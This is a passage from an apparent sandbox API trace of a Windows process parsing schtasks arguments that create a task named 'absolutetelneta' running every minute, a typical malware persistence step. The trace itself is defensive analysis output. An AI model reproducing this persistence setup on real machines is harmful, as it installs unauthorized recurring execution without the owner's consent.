usage.") returned 37 [0144.135] GetProcessHeap () returned 0x2b0000 [0144.135] GetProcessHeap () returned 0x2b0000 [0144.135] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cdce0) returned 1 [0144.135] GetProcessHeap () returned 0x2b0000 [0144.135] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cdce0) returned 0x74e [0144.135] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cdce0 | out: hHeap=0x2b0000) returned 1 [0144.135] SetLastError (dwErrCode=0x0) [0144.135] GetThreadLocale () returned 0x409 [0144.135] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0144.135] lstrlenW (lpString="create") returned 6 [0144.135] GetThreadLocale () returned 0x409 [0144.135] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0144.135] lstrlenW (lpString="?") returned 1 [0144.135] GetThreadLocale () returned 0x409 [0144.135] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0144.136] lstrlenW (lpString="s") returned 1 [0144.136] GetThreadLocale () returned 0x409 [0144.136] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0144.136] lstrlenW (lpString="u") returned 1 [0144.136] GetThreadLocale () returned 0x409 [0144.136] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0144.136] lstrlenW (lpString="p") returned 1 [0144.136] GetThreadLocale () returned 0x409 [0144.136] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0144.136] lstrlenW (lpString="ru") returned 2 [0144.136] GetThreadLocale () returned 0x409 [0144.136] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0144.136] lstrlenW (lpString="rp") returned 2 [0144.136] GetThreadLocale () returned 0x409 [0144.136] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0144.137] lstrlenW (lpString="sc") returned 2 [0144.137] GetThreadLocale () returned 0x409 [0144.137] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0144.138] lstrlenW (lpString="mo") returned 2 [0144.138] GetThreadLocale () returned 0x409 [0144.138] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0144.138] lstrlenW (lpString="d") returned 1 [0144.138] GetThreadLocale () returned 0x409 [0144.138] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0144.138] lstrlenW (lpString="m") returned 1 [0144.138] GetThreadLocale () returned 0x409 [0144.138] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0144.138] lstrlenW (lpString="i") returned 1 [0144.138] GetThreadLocale () returned 0x409 [0144.138] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0144.138] lstrlenW (lpString="tn") returned 2 [0144.138] GetThreadLocale () returned 0x409 [0144.138] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0144.138] lstrlenW (lpString="tr") returned 2 [0144.138] GetThreadLocale () returned 0x409 [0144.138] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0144.138] lstrlenW (lpString="st") returned 2 [0144.138] GetThreadLocale () returned 0x409 [0144.138] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0144.138] lstrlenW (lpString="sd") returned 2 [0144.138] GetThreadLocale () returned 0x409 [0144.138] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0144.138] lstrlenW (lpString="ed") returned 2 [0144.138] GetThreadLocale () returned 0x409 [0144.138] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0144.138] lstrlenW (lpString="it") returned 2 [0144.138] GetThreadLocale () returned 0x409 [0144.138] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0144.138] lstrlenW (lpString="et") returned 2 [0144.138] GetThreadLocale () returned 0x409 [0144.139] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0144.139] lstrlenW (lpString="k") returned 1 [0144.139] GetThreadLocale () returned 0x409 [0144.139] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0144.139] lstrlenW (lpString="du") returned 2 [0144.139] GetThreadLocale () returned 0x409 [0144.139] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0144.139] lstrlenW (lpString="ri") returned 2 [0144.139] GetThreadLocale () returned 0x409 [0144.139] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0144.139] lstrlenW (lpString="z") returned 1 [0144.139] GetThreadLocale () returned 0x409 [0144.139] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0144.139] lstrlenW (lpString="f") returned 1 [0144.139] GetThreadLocale () returned 0x409 [0144.139] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0144.139] lstrlenW (lpString="v1") returned 2 [0144.139] GetThreadLocale () returned 0x409 [0144.139] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0144.139] lstrlenW (lpString="xml") returned 3 [0144.139] GetThreadLocale () returned 0x409 [0144.139] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0144.139] lstrlenW (lpString="ec") returned 2 [0144.139] GetThreadLocale () returned 0x409 [0144.139] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0144.139] lstrlenW (lpString="rl") returned 2 [0144.139] GetThreadLocale () returned 0x409 [0144.139] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0144.139] lstrlenW (lpString="delay") returned 5 [0144.139] GetThreadLocale () returned 0x409 [0144.139] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0144.140] lstrlenW (lpString="np") returned 2 [0144.140] SetLastError (dwErrCode=0x0) [0144.140] SetLastError (dwErrCode=0x0) [0144.140] lstrlenW (lpString="/create") returned 7 [0144.140] lstrlenW (lpString="-/") returned 2 [0144.140] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0144.140] lstrlenW (lpString="create") returned 6 [0144.140] lstrlenW (lpString="create") returned 6 [0144.140] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.140] lstrlenW (lpString="create") returned 6 [0144.140] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.140] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|create|") returned 8 [0144.140] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|create|") returned 8 [0144.140] lstrlenW (lpString="|create|") returned 8 [0144.140] lstrlenW (lpString="|create|") returned 8 [0144.140] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0144.140] SetLastError (dwErrCode=0x0) [0144.140] SetLastError (dwErrCode=0x0) [0144.140] SetLastError (dwErrCode=0x0) [0144.140] lstrlenW (lpString="/tn") returned 3 [0144.140] lstrlenW (lpString="-/") returned 2 [0144.140] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0144.140] lstrlenW (lpString="create") returned 6 [0144.141] lstrlenW (lpString="create") returned 6 [0144.141] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.141] lstrlenW (lpString="tn") returned 2 [0144.141] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.141] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|create|") returned 8 [0144.141] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|tn|") returned 4 [0144.141] lstrlenW (lpString="|create|") returned 8 [0144.141] lstrlenW (lpString="|tn|") returned 4 [0144.141] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0144.141] SetLastError (dwErrCode=0x490) [0144.141] lstrlenW (lpString="?") returned 1 [0144.141] lstrlenW (lpString="?") returned 1 [0144.141] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.141] lstrlenW (lpString="tn") returned 2 [0144.141] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.141] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|?|") returned 3 [0144.141] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|tn|") returned 4 [0144.141] lstrlenW (lpString="|?|") returned 3 [0144.141] lstrlenW (lpString="|tn|") returned 4 [0144.141] SetLastError (dwErrCode=0x490) [0144.141] lstrlenW (lpString="s") returned 1 [0144.141] lstrlenW (lpString="s") returned 1 [0144.141] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.141] lstrlenW (lpString="tn") returned 2 [0144.142] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.142] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|s|") returned 3 [0144.142] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|tn|") returned 4 [0144.142] lstrlenW (lpString="|s|") returned 3 [0144.142] lstrlenW (lpString="|tn|") returned 4 [0144.142] SetLastError (dwErrCode=0x490) [0144.142] lstrlenW (lpString="u") returned 1 [0144.142] lstrlenW (lpString="u") returned 1 [0144.142] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.142] lstrlenW (lpString="tn") returned 2 [0144.142] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.142] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|u|") returned 3 [0144.142] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|tn|") returned 4 [0144.142] lstrlenW (lpString="|u|") returned 3 [0144.142] lstrlenW (lpString="|tn|") returned 4 [0144.142] SetLastError (dwErrCode=0x490) [0144.142] lstrlenW (lpString="p") returned 1 [0144.142] lstrlenW (lpString="p") returned 1 [0144.142] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.142] lstrlenW (lpString="tn") returned 2 [0144.142] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.142] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|p|") returned 3 [0144.142] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|tn|") returned 4 [0144.143] lstrlenW (lpString="|p|") returned 3 [0144.143] lstrlenW (lpString="|tn|") returned 4 [0144.143] SetLastError (dwErrCode=0x490) [0144.143] lstrlenW (lpString="ru") returned 2 [0144.143] lstrlenW (lpString="ru") returned 2 [0144.143] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.143] lstrlenW (lpString="tn") returned 2 [0144.143] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.143] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|ru|") returned 4 [0144.143] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|tn|") returned 4 [0144.143] lstrlenW (lpString="|ru|") returned 4 [0144.143] lstrlenW (lpString="|tn|") returned 4 [0144.143] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0144.143] SetLastError (dwErrCode=0x490) [0144.143] lstrlenW (lpString="rp") returned 2 [0144.143] lstrlenW (lpString="rp") returned 2 [0144.143] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.143] lstrlenW (lpString="tn") returned 2 [0144.143] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.143] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|rp|") returned 4 [0144.143] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|tn|") returned 4 [0144.143] lstrlenW (lpString="|rp|") returned 4 [0144.143] lstrlenW (lpString="|tn|") returned 4 [0144.144] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0144.144] SetLastError (dwErrCode=0x490) [0144.144] lstrlenW (lpString="sc") returned 2 [0144.144] lstrlenW (lpString="sc") returned 2 [0144.144] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.144] lstrlenW (lpString="tn") returned 2 [0144.144] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.144] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|sc|") returned 4 [0144.144] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|tn|") returned 4 [0144.144] lstrlenW (lpString="|sc|") returned 4 [0144.144] lstrlenW (lpString="|tn|") returned 4 [0144.144] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0144.144] SetLastError (dwErrCode=0x490) [0144.144] lstrlenW (lpString="mo") returned 2 [0144.144] lstrlenW (lpString="mo") returned 2 [0144.144] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.144] lstrlenW (lpString="tn") returned 2 [0144.144] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.144] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|mo|") returned 4 [0144.144] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|tn|") returned 4 [0144.144] lstrlenW (lpString="|mo|") returned 4 [0144.144] lstrlenW (lpString="|tn|") returned 4 [0144.144] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0144.144] SetLastError (dwErrCode=0x490) [0144.145] lstrlenW (lpString="d") returned 1 [0144.145] lstrlenW (lpString="d") returned 1 [0144.145] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.145] lstrlenW (lpString="tn") returned 2 [0144.145] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.145] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|d|") returned 3 [0144.145] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|tn|") returned 4 [0144.145] lstrlenW (lpString="|d|") returned 3 [0144.145] lstrlenW (lpString="|tn|") returned 4 [0144.145] SetLastError (dwErrCode=0x490) [0144.145] lstrlenW (lpString="m") returned 1 [0144.145] lstrlenW (lpString="m") returned 1 [0144.145] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.145] lstrlenW (lpString="tn") returned 2 [0144.145] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.145] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|m|") returned 3 [0144.145] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|tn|") returned 4 [0144.145] lstrlenW (lpString="|m|") returned 3 [0144.145] lstrlenW (lpString="|tn|") returned 4 [0144.145] SetLastError (dwErrCode=0x490) [0144.145] lstrlenW (lpString="i") returned 1 [0144.145] lstrlenW (lpString="i") returned 1 [0144.145] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.145] lstrlenW (lpString="tn") returned 2 [0144.145] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.145] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|i|") returned 3 [0144.146] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|tn|") returned 4 [0144.146] lstrlenW (lpString="|i|") returned 3 [0144.146] lstrlenW (lpString="|tn|") returned 4 [0144.146] SetLastError (dwErrCode=0x490) [0144.146] lstrlenW (lpString="tn") returned 2 [0144.146] lstrlenW (lpString="tn") returned 2 [0144.146] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.146] lstrlenW (lpString="tn") returned 2 [0144.146] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.146] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|tn|") returned 4 [0144.146] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|tn|") returned 4 [0144.146] lstrlenW (lpString="|tn|") returned 4 [0144.146] lstrlenW (lpString="|tn|") returned 4 [0144.146] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0144.146] SetLastError (dwErrCode=0x0) [0144.146] SetLastError (dwErrCode=0x0) [0144.146] lstrlenW (lpString="absolutetelneta") returned 15 [0144.146] lstrlenW (lpString="-/") returned 2 [0144.146] StrChrIW (lpStart="-/", wMatch=0x61) returned 0x0 [0144.146] SetLastError (dwErrCode=0x490) [0144.146] SetLastError (dwErrCode=0x490) [0144.146] SetLastError (dwErrCode=0x0) [0144.146] lstrlenW (lpString="absolutetelneta") returned 15 [0144.146] StrChrIW (lpStart="absolutetelneta", wMatch=0x3a) returned 0x0 [0144.146] SetLastError (dwErrCode=0x490) [0144.146] SetLastError (dwErrCode=0x0) [0144.146] lstrlenW (lpString="absolutetelneta") returned 15 [0144.146] SetLastError (dwErrCode=0x0) [0144.147] SetLastError (dwErrCode=0x0) [0144.147] lstrlenW (lpString="/sc") returned 3 [0144.147] lstrlenW (lpString="-/") returned 2 [0144.147] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0144.147] lstrlenW (lpString="create") returned 6 [0144.147] lstrlenW (lpString="create") returned 6 [0144.147] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.147] lstrlenW (lpString="sc") returned 2 [0144.147] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.147] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|create|") returned 8 [0144.147] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|sc|") returned 4 [0144.147] lstrlenW (lpString="|create|") returned 8 [0144.147] lstrlenW (lpString="|sc|") returned 4 [0144.147] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0144.147] SetLastError (dwErrCode=0x490) [0144.147] lstrlenW (lpString="?") returned 1 [0144.147] lstrlenW (lpString="?") returned 1 [0144.147] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.147] lstrlenW (lpString="sc") returned 2 [0144.147] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.147] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|?|") returned 3 [0144.147] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|sc|") returned 4 [0144.147] lstrlenW (lpString="|?|") returned 3 [0144.147] lstrlenW (lpString="|sc|") returned 4 [0144.148] SetLastError (dwErrCode=0x490) [0144.148] lstrlenW (lpString="s") returned 1 [0144.148] lstrlenW (lpString="s") returned 1 [0144.148] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.148] lstrlenW (lpString="sc") returned 2 [0144.148] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.148] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|s|") returned 3 [0144.148] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|sc|") returned 4 [0144.148] lstrlenW (lpString="|s|") returned 3 [0144.148] lstrlenW (lpString="|sc|") returned 4 [0144.148] SetLastError (dwErrCode=0x490) [0144.148] lstrlenW (lpString="u") returned 1 [0144.148] lstrlenW (lpString="u") returned 1 [0144.148] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.148] lstrlenW (lpString="sc") returned 2 [0144.148] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.148] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|u|") returned 3 [0144.148] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|sc|") returned 4 [0144.148] lstrlenW (lpString="|u|") returned 3 [0144.148] lstrlenW (lpString="|sc|") returned 4 [0144.148] SetLastError (dwErrCode=0x490) [0144.148] lstrlenW (lpString="p") returned 1 [0144.148] lstrlenW (lpString="p") returned 1 [0144.148] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.149] lstrlenW (lpString="sc") returned 2 [0144.149] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.149] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|p|") returned 3 [0144.149] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|sc|") returned 4 [0144.149] lstrlenW (lpString="|p|") returned 3 [0144.149] lstrlenW (lpString="|sc|") returned 4 [0144.149] SetLastError (dwErrCode=0x490) [0144.149] lstrlenW (lpString="ru") returned 2 [0144.149] lstrlenW (lpString="ru") returned 2 [0144.149] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.149] lstrlenW (lpString="sc") returned 2 [0144.149] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.149] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|ru|") returned 4 [0144.149] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|sc|") returned 4 [0144.149] lstrlenW (lpString="|ru|") returned 4 [0144.149] lstrlenW (lpString="|sc|") returned 4 [0144.149] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0144.149] SetLastError (dwErrCode=0x490) [0144.149] lstrlenW (lpString="rp") returned 2 [0144.149] lstrlenW (lpString="rp") returned 2 [0144.149] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.149] lstrlenW (lpString="sc") returned 2 [0144.149] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.149] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|rp|") returned 4 [0144.149] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|sc|") returned 4 [0144.149] lstrlenW (lpString="|rp|") returned 4 [0144.150] lstrlenW (lpString="|sc|") returned 4 [0144.150] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0144.150] SetLastError (dwErrCode=0x490) [0144.150] lstrlenW (lpString="sc") returned 2 [0144.150] lstrlenW (lpString="sc") returned 2 [0144.150] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.150] lstrlenW (lpString="sc") returned 2 [0144.150] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.150] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|sc|") returned 4 [0144.150] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|sc|") returned 4 [0144.150] lstrlenW (lpString="|sc|") returned 4 [0144.150] lstrlenW (lpString="|sc|") returned 4 [0144.150] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0144.150] SetLastError (dwErrCode=0x0) [0144.150] SetLastError (dwErrCode=0x0) [0144.150] lstrlenW (lpString="MINUTE") returned 6 [0144.150] lstrlenW (lpString="-/") returned 2 [0144.150] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0144.150] SetLastError (dwErrCode=0x490) [0144.150] SetLastError (dwErrCode=0x490) [0144.150] SetLastError (dwErrCode=0x0) [0144.150] lstrlenW (lpString="MINUTE") returned 6 [0144.150] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0144.150] SetLastError (dwErrCode=0x490) [0144.150] SetLastError (dwErrCode=0x0) [0144.150] GetProcessHeap () returned 0x2b0000 [0144.150] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x18) returned 0x2cd550 [0144.151] _memicmp (_Buf1=0x2cd550, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.151] lstrlenW (lpString="MINUTE") returned 6 [0144.151] GetProcessHeap () returned 0x2b0000 